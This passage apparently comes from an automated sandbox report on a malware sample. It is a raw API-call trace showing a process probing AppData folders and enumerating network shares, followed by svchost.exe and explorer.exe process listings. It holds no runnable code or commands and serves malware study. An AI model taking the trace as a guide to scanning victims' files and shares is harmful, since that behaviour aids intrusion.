ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.820] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.820] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.820] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.820] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.821] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.821] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.821] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.821] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.822] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.822] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.822] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.822] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.822] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.822] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.822] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.822] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.823] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.823] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.824] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.824] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.824] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.824] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.824] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.824] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.824] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.825] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.825] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.825] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.825] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.825] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.825] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.825] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.825] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.825] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.825] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.826] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.826] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.826] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.826] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.826] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.826] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.827] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.827] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.827] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.827] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.827] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.827] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.827] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.827] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.828] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.828] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.828] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.828] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.829] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.829] SendMessageW (hWnd=0x20154, Msg=0x8003, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 237 os_tid = 0x5bc [0121.167] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x39efee0 | out: lphEnum=0x39efee0*=0x2ffa7e8) returned 0x0 [0121.204] WNetEnumResourceW (in: hEnum=0x2ffa7e8, lpcCount=0x39efedc, lpBuffer=0x30706e8, lpBufferSize=0x39efed8 | out: lpcCount=0x39efedc, lpBuffer=0x30706e8, lpBufferSize=0x39efed8) returned 0x0 [0121.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd740 [0121.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd788 [0121.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006a28 [0121.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd7d0 [0121.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd818 [0121.204] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x30706e8, lphEnum=0x39efe28 | out: lphEnum=0x39efe28*=0x662e60) returned 0x0 [0121.208] WNetEnumResourceW (in: hEnum=0x662e60, lpcCount=0x39efe24, lpBuffer=0x30746f0, lpBufferSize=0x39efe20 | out: lpcCount=0x39efe24, lpBuffer=0x30746f0, lpBufferSize=0x39efe20) returned 0x103 [0121.208] WNetCloseEnum (hEnum=0x662e60) returned 0x0 [0121.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdd788 | out: hHeap=0x5b0000) returned 1 [0121.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdd740 | out: hHeap=0x5b0000) returned 1 [0121.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd740 [0121.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd788 [0121.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x2ff7b10 [0121.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd110 [0121.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd8a8 [0121.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdd818 | out: hHeap=0x5b0000) returned 1 [0121.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdd7d0 | out: hHeap=0x5b0000) returned 1 [0121.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3006a28 | out: hHeap=0x5b0000) returned 1 [0121.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd7d0 [0121.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd818 [0121.208] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x3070708, lphEnum=0x39efe28 | out: lphEnum=0x39efe28*=0x39efe44) returned 0x4b8 [0133.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdd788 | out: hHeap=0x5b0000) returned 1 [0133.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdd740 | out: hHeap=0x5b0000) returned 1 [0133.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc658 [0133.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc540 [0133.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x690638 [0133.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd740 [0133.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd788 [0133.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd4b8 [0133.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd9c8 [0133.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdd8a8 | out: hHeap=0x5b0000) returned 1 [0133.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdd110 | out: hHeap=0x5b0000) returned 1 [0133.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdd818 | out: hHeap=0x5b0000) returned 1 [0133.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdd7d0 | out: hHeap=0x5b0000) returned 1 [0133.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2ff7b10 | out: hHeap=0x5b0000) returned 1 [0133.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc690 [0133.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0133.551] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x3070728, lphEnum=0x39efe28 | out: lphEnum=0x39efe28*=0x39efe44) returned 0x4c6 [0133.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc540 | out: hHeap=0x5b0000) returned 1 [0133.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc658 | out: hHeap=0x5b0000) returned 1 [0133.556] WNetEnumResourceW (in: hEnum=0x2ffa7e8, lpcCount=0x39efedc, lpBuffer=0x30706e8, lpBufferSize=0x39efed8 | out: lpcCount=0x39efedc, lpBuffer=0x30706e8, lpBufferSize=0x39efed8) returned 0x103 [0133.556] WNetCloseEnum (hEnum=0x2ffa7e8) returned 0x0 [0133.556] SendMessageW (hWnd=0x20154, Msg=0x8004, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 245 os_tid = 0x61c Thread: id = 260 os_tid = 0x6ac Process: id = "16" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xa063000" os_pid = "0xf0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "15" os_parent_pid = "0x4d4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc6e" [0xc000000f], "LOCAL" [0x7] Thread: id = 112 os_tid = 0x798 Thread: id = 113 os_tid = 0x784 Thread: id = 114 os_tid = 0x774 Thread: id = 115 os_tid = 0x768 Thread: id = 116 os_tid = 0x5ac Thread: id = 117 os_tid = 0x178 Thread: id = 118 os_tid = 0x140 Thread: id = 119 os_tid = 0x150 Thread: id = 120 os_tid = 0x130 Thread: id = 121 os_tid = 0x120 Thread: id = 122 os_tid = 0x11c Thread: id = 156 os_tid = 0x7cc Thread: id = 157 os_tid = 0x7dc Thread: id = 158 os_tid = 0x7e8 Thread: id = 164 os_tid = 0x474 Thread: id = 165 os_tid = 0x48c Thread: id = 166 os_tid = 0x4a4 Thread: id = 259 os_tid = 0x768 Thread: id = 262 os_tid = 0x3d8 Process: id = "17" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x74ac000" os_pid = "0x37c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "16" os_parent_pid = "0xf0" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e163" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 123 os_tid = 0x680 Thread: id = 124 os_tid = 0x670 Thread: id = 125 os_tid = 0x660 Thread: id = 126 os_tid = 0x644 Thread: id = 127 os_tid = 0x638 Thread: id = 128 os_tid = 0x620 Thread: id = 129 os_tid = 0x618 Thread: id = 130 os_tid = 0x608 Thread: id = 131 os_tid = 0x5e4 Thread: id = 132 os_tid = 0x5c0 Thread: id = 133 os_tid = 0x5b8 Thread: id = 134 os_tid = 0x5b0 Thread: id = 135 os_tid = 0x52c Thread: id = 136 os_tid = 0x4f8 Thread: id = 137 os_tid = 0x4f0 Thread: id = 138 os_tid = 0x4c8 Thread: id = 139 os_tid = 0x4c4 Thread: id = 140 os_tid = 0x4c0 Thread: id = 141 os_tid = 0x4bc Thread: id = 142 os_tid = 0x4ac Thread: id = 143 os_tid = 0x4a8 Thread: id = 144 os_tid = 0x4a4 Thread: id = 145 os_tid = 0x4a0 Thread: id = 146 os_tid = 0x47c Thread: id = 147 os_tid = 0x404 Thread: id = 148 os_tid = 0x154 Thread: id = 149 os_tid = 0x294 Thread: id = 150 os_tid = 0x174 Thread: id = 151 os_tid = 0x144 Thread: id = 152 os_tid = 0x18c Thread: id = 153 os_tid = 0x3d8 Thread: id = 154 os_tid = 0x3a8 Thread: id = 155 os_tid = 0x3a4 Thread: id = 159 os_tid = 0x7ec Thread: id = 160 os_tid = 0x7f0 Thread: id = 161 os_tid = 0x7f4 Thread: id = 162 os_tid = 0x418 Thread: id = 163 os_tid = 0x438 Thread: id = 167 os_tid = 0x4e4 Thread: id = 263 os_tid = 0x6a4 Thread: id = 266 os_tid = 0x7a0 Thread: id = 299 os_tid = 0x3b8 Thread: id = 300 os_tid = 0x6b0 Process: id = "18" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x782dd000" os_pid = "0x574" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "16" os_parent_pid = "0xf0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00017151" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Thread: id = 168 os_tid = 0x4d0 Thread: id = 169 os_tid = 0x7d8 Thread: id = 170 os_tid = 0x7d4 Thread: id = 171 os_tid = 0x7d0 Thread: id = 172 os_tid = 0x7c4 Thread: id = 173 os_tid = 0x7c0 Thread: id = 174 os_tid = 0x7ac Thread: id = 175 os_tid = 0x7a8 Thread: id = 176 os_tid = 0x788 Thread: id = 177 os_tid = 0x66c Thread: id = 178 